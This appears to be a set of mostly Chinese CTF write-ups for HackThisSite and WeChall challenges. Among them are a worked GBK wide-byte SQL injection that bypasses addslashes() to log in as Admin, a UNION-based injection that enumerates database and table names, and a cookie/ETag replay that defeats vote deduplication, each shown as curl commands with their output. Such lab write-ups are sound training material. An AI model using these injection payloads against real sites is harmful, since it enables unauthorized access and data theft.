Hello Navi

Challenge

This time Network Security Sam remembered to upload the password file, but there were deeper problems than that.

这次 Sam 记得上传密码文件了，但问题比这更深层。

页面上有一个密码输入框。查看源代码后发现一个隐藏的表单字段：

1

<input type="hidden" name="file" value="password.php" />

Solution

HTML 表单中的 hidden 类型字段对用户来说完全是可见的——只要查看源代码就能看到。这里隐藏字段暴露了密码文件的路径：password.php。

直接在浏览器中访问这个文件即可获得密码：

1

https://www.hackthissite.org/missions/basic/3/password.php

页面会直接返回密码内容。

Challenge

Network Security Sam set up a password protection script. He made it load the real password from an unencrypted text file and compare it to the password the user enters. However, he neglected to upload the password file...

Sam 设置了一个密码保护脚本，从一个未加密的文本文件中加载真实密码进行比对。然而他忘了上传密码文件。

Solution

这道题考察的是逻辑思维。脚本从文件加载密码来比对用户输入。如果密码文件不存在，脚本就无法加载任何内容来比对。

当你提交一个空密码时，脚本试图将空字符串与一个不存在的文件内容比对——两者都是空值，所以比对通过。

直接在密码框中什么都不输入，点击 submit 即可。

核心知识点：如果密码文件缺失，认证系统可能默认接受任何输入（甚至空输入）。实际部署中应该对文件缺失的情况做防御性处理。

Challenge

This level is what we call "The Idiot Test", if you can't complete it, don't give up on learning all you can, but, don't go begging to someone else for the answer, thats one way to get you hated/made fun of.

这一关被称为"白痴测试"，如果你无法完成，别放弃学习，但不要去求别人给你答案。

页面上有一个密码输入框，需要找到密码才能过关。

Solution

最基本的 web 安全入门：查看网页源代码。

右键查看页面源代码（或 Ctrl+U），然后搜索 password，会发现密码直接以 HTML 注释的形式嵌入在源码中：

1

<!-- the first few levels are extremely easy: password is 798ce5a6 -->

Challenge

MySQL/Exploit 类，难度 5.44，909 人解出。源码可见，使用 addslashes() 对用户输入转义，但数据库连接字符集设为 GBK。目标：以 admin 身份登录。密码字段会被 md5() 处理，无法注入。

Solution

经典宽字节注入（Wide Byte Injection）。

addslashes() 会在 '、"、\、NUL 前插入反斜杠 \（0x5c）。正常情况下这能防住简单的 SQL 注入，但 GBK 编码下，0x5c 是合法的多字节字符的第二字节。

GBK 编码范围：首字节 0x81-0xFE，尾字节 0x40-0xFE（不含 0x7F）。所以 0xBF 0x5C 是一个合法的 GBK 字符「縗」。

攻击流程：

表单使用 GET 方法提交，按钮值为「注册」。先确认正常登录行为：

1
2
3

$ curl -s -b 'WC=...' \
  'https://www.wechall.net/en/challenge/addslashes/index.php?username=test&password=test&login=login'
You are logged in, but not as Admin.

直接注入单引号，被 addslashes() 拦截：

1
2
3

$ curl -s -b 'WC=...' \
  'https://www.wechall.net/en/challenge/addslashes/index.php?username=admin%27--+-&password=x&login=login'
Wrong username/password.

用 %bf 前缀构造宽字节。admin' 经过 addslashes() 变成 admin\'，即 admin%5c%27。我们在前面加 %bf，使 %bf%5c 被 GBK 解码为一个字符，%27（单引号）就逃逸了：

1
2
3

$ curl -s -b 'WC=...' \
  'https://www.wechall.net/en/challenge/addslashes/index.php?username=%bf%27+OR+1%3d1--+-&password=x&login=login'
You are logged in, but not as Admin.

%bf%5c 被 GBK 吃掉成为「縗」，后面的 ' OR 1=1-- - 被解释为 SQL，绕过了转义。但 OR 1=1 只会返回表中第一条记录，不一定是 Admin。需要精确指定 Admin 用户名，用 hex 编码避免单引号被转义：

1
2
3

$ curl -s -b 'WC=...' \
  'https://www.wechall.net/en/challenge/addslashes/index.php?username=%bf%27+OR+username%3d0x41646d696e+--+&password=x&login=login'
You are logged in. congrats!

0x41646d696e 是 'Admin' 的 hex 编码，不包含单引号，不会被 addslashes() 干扰。

核心原理图示：

1
2
3
4
5

输入:    ' OR username=0x41646d696e -- -
转义:    \' OR username=0x41646d696e -- -
GBK 解: [縗]' OR username=0x41646d696e -- -    ← 反斜杠被吞，单引号逃逸
SQL:     WHERE user='[縗]' OR username=0x41646d696e -- -'
         → 匹配 Admin 用户，密码条件被注释掉

OR 1=1 虽然能绕过密码检查，但只返回第一条记录。实际解题需要 OR username=0x41646d696e 精确匹配 Admin。密码字段会被 md5() 处理后再拼接，无法通过用户名注入绕过，所以必须用 -- 注释掉密码条件。

Challenge

MySQL + Exploit, difficulty 4.79. 找出 SQL 注入漏洞所用的数据库名和表名。无源码，有测试账号 test/test。

答案格式: databasename_tablename

Solution

漏洞脚本是一个 GET 方法的登录表单，username 和 password 参数都存在 SQL 注入。

先用测试账号登录，确认正常响应：

1
2
3
4

$ curl -G --data-urlencode "username=test" --data-urlencode "password=test" --data-urlencode "login=login" \
  'https://www.wechall.net/en/challenge/table_names/challenge.php'
Welcome back test
Your personal welcome message is: This is a demo account, nothing here.

用户名和密码字段都可以注入。布尔盲注验证：

1
2
3

$ curl -G --data-urlencode "username=test' OR '1'='1" --data-urlencode "password=x" --data-urlencode "login=login" \
  'https://www.wechall.net/en/challenge/table_names/challenge.php'
Welcome back Aaron A. Aaronson

确认注入点后，用 UNION SELECT 探测列数。正常登录显示用户名和 welcome message 两个字段，猜测 2-3 列。逐一测试发现 3 列时 welcome message 位置返回了 UNION 的值：

1
2
3

$ curl -G --data-urlencode "username=nosuchuser' UNION SELECT 1,1,1-- -" --data-urlencode "password=x" --data-urlencode "login=login" \
  'https://www.wechall.net/en/challenge/table_names/challenge.php'
... message is: 1 ...

第 3 列对应 welcome message 显示位置。提取数据库名：

1
2

$ curl -G --data-urlencode "username=nosuchuser' UNION SELECT 1,1,database()-- -" ...
message is: gizmore_tableu61

用 hex() 确认：67697A6D6F72655F7461626C65753631 → gizmore_tableu61。

枚举该数据库下的表：

1
2
3
4
5

$ curl -G --data-urlencode "username=nosuchuser' UNION SELECT 1,1,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)-- -" ...
message is: aaawrong

$ curl -G --data-urlencode "username=nosuchuser' UNION SELECT 1,1,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1)-- -" ...
message is: usertableus4

两个表：aaawrong（陷阱）和 usertableus4（用户表）。

Challenge

The page shows a random 8-bit binary string and asks for its decimal equivalent:

Please convert this binary data to a decimal number. 01100101

The number is randomly generated and bound to your session.

Solution

Convert with Python or JavaScript:

1
2

>>> int('01100101', 2)
101

1
2

> parseInt('01100101', 2)
101

Manual: each bit position is a power of 2, from right (2^0) to left (2^7). 01100101 = 64+32+4+1 = 101.

Since the challenge is session-bound, you'll see a different number each visit — the method stays the same.

Challenge

一个投票系统，需要投至少 2 次票。没有 IP 检查，但使用 HTTP 缓存机制（ETag/VOTE cookie）防止重复投票。

Solution

投票页面 votes.php 用 HTTP 缓存头做投票去重——这不是缓存的典型用法，但原理相同:

1. VOTE cookie: 服务器设置 VOTE=<value> cookie 标记已投票
2. ETag / If-None-Match: 服务器返回 ETag 头，浏览器后续请求带 If-None-Match 验证资源未变

两层缺一不可: 没有 cookie 服务器不知道你投过票；没有 If-None-Match 服务器认为是新的投票请求。

第一次投票成功后，服务器返回 "Please press the vote button again"。关键在于第二次请求必须同时带上第一次响应的 VOTE cookie 和 ETag 值。

ETag 值带 W/ 前缀表示 weak validator（语义等价即可，不要求字节一致），但 curl 传 If-None-Match 时要带这个前缀。

1
2
3
4
5
6
7
8
9
10
11

# 第一次投票 - 捕获 ETag 和 VOTE cookie
$ curl -v -s -b 'WC=...' 'https://www.wechall.net/en/challenge/tracks/votes.php?vote=3' 2>&1 | grep -i 'etag\|set-cookie'
# ETag: W/22661-0-VDFqOmu5pLs8JDjj
# Set-Cookie: VOTE=22661-0-VDFqOmu5pLs8JDjj

# 第二次投票 - 带上 VOTE cookie 和 If-None-Match
$ curl -s -b 'WC=...; VOTE=22661-0-VDFqOmu5pLs8JDjj' \
  -H 'If-None-Match: W/22661-0-VDFqOmu5pLs8JDjj' \
  'https://www.wechall.net/en/challenge/tracks/votes.php?vote=3'
# Vote registered!
# Your answer is correct

Challenge

Connect the Dots (Stegano) This is a stegano challenge from galen. Can you see the solution?

点阵隐写挑战。下载图片后需要识别点阵图案代表的含义。

Solution

下载 dots.jpg（288×96 JPEG，Adobe Photoshop CS 制作）。

图片由大量黑色圆点组成，分布在白色背景上。仔细观察可以发现点阵排列非常规律：

顶部的 18×3 点阵，每 2 列一组可以形成 3 行 2 列的 Braille 盲文"方"（cell），共计 9 方。

盲文解码

英文一级盲文字母表（Grade 1 English Braille）：

6 点盲文结构：

1
2
3
4

列1  列2
●    ●  ← 行1 (点位 1, 4)
●    ●  ← 行2 (点位 2, 5)
●    ●  ← 行3 (点位 3, 6)

• 左侧从上到下: 点 1, 2, 3
• 右侧从上到下: 点 4, 5, 6
• 凸起点 = "raised" (on), 平点 = "off"

对照英文一级盲文（Grade 1 English Braille）解码每方中的凸起点位：

1
2
3
4
5
6
7
8
9
10

Cell 1: dots 2,4,5,6 → t
Cell 2: dots 1,2,5   → h
Cell 3: dots 1,5     → e
Cell 4: dots 2,3,4   → s
Cell 5: dots 1,3,5   → o
Cell 6: dots 1,2,3   → l
Cell 7: dots 1,3,6   → u
Cell 8: dots 2,3,4,5 → t
Cell 9: dots 2,4     → i
...

Challenge

为 WeChall 邮件设置 GPG 加密，然后解密邮件获取答案。

挑战页面提示需要配置 GPG 公钥到账户，然后触发一封加密邮件发送到注册邮箱，解密即可拿到 flag。

Solution

Step 1: 检查本地是否已有 GPG 密钥，没有则生成:

1
2

$ gpg --list-keys
$ gpg --list-secret-keys

如果已有可用密钥（sec 或 ssb 不带 #）可跳过生成。否则:

1
2
3
4
5
6
7
8

$ gpg --batch --gen-key <<EOF
Key-Type: RSA
Key-Length: 2048
Name-Real: WeChall GPG
Name-Email: wechall-gpg@example.com
Expire-Date: 0
%no-protection
EOF

--batch 模式避免交互式确认，%no-protection 跳过 passphrase（CTF 环境不需要安全性）。

Step 2: 导出公钥并上传到 WeChall 账户设置:

1

$ gpg --armor --export wechall-gpg@example.com > /tmp/wechall-pubkey.asc

将公钥粘贴到 https://www.wechall.net/en/account 的 GPG 设置区域，点击 "Upload Key"。

注意: WeChall 表单包含一个隐藏的 CSRF token（gwf3_csrf），用于防伪造请求。上传公钥时必须先 GET 页面拿到 token，再用同一个 cookie POST 提交，否则会被拒绝。

Step 3: 访问挑战页面，点击 "Send me encrypted mail please"。WeChall 会用刚上传的公钥加密一封邮件发送到注册邮箱。如果报错 "Please enable GPG encryption in your account settings"，说明 key 未成功保存，回到 Step 2 重试。

Step 4: 收到的邮件是一段 PGP 加密块，保存为本地文件后解密:

1

$ gpg --decrypt /tmp/wechall_gpg.txt

GPG 会用对应的私钥自动匹配解密，输出明文内容。

关键点:

• GPG 流程: 生成密钥 → 上传公钥 → 对方用公钥加密 → 本地用私钥解密
• WeChall 要求 RSA 密钥，2048 位足够
• --armor 输出 ASCII 格式，方便复制粘贴到网页表单
• 私钥留在本地 keyring，gpg --decrypt 自动匹配
• 加密邮件内容是 PGP MESSAGE block，注意保留完整的 -----BEGIN PGP MESSAGE----- 到 -----END PGP MESSAGE----- 头尾

Challenge

Account Cracked — I think some people have cracked my wechall account. Do you really think your scripts are safe ?

用户名 WeChall 的账号被破解了，猜出密码登录。

Solution

页面模拟了一个论坛帖子：

1. WeChall 发帖："I think some people have cracked my wechall account. Do you really think your scripts are safe ?"
2. gizmore 回复："Well, maybe your password was very easy to guess or you reused it on another site? Do not choose passwords that are affiliated with the site and your person etc... You should maybe reset your password? PS: Do not re-use important passwords! Edit: I think you are not even a legit user, since you post news items :WEIRD:"

底部有一个登录表单：用户名预填 WeChall，密码输入框 wcpwd，提交按钮。

输入 wechall → 返回 uhoh.... you are close，说明密码以 wechall 开头。

系统对密码做前缀匹配：包含 wechall 前缀的都返回 CLOSE，其余返回 UNKNOWN。

关键推理：

gizmore 的话里有一句 Edit："I think you are not even a legit user, since you post news items :WEIRD:"

WeChall 这个用户不是真人 — 它是站内的 bot 账号，负责发布新闻。密码就是 wechall + 身份 = wechallbot。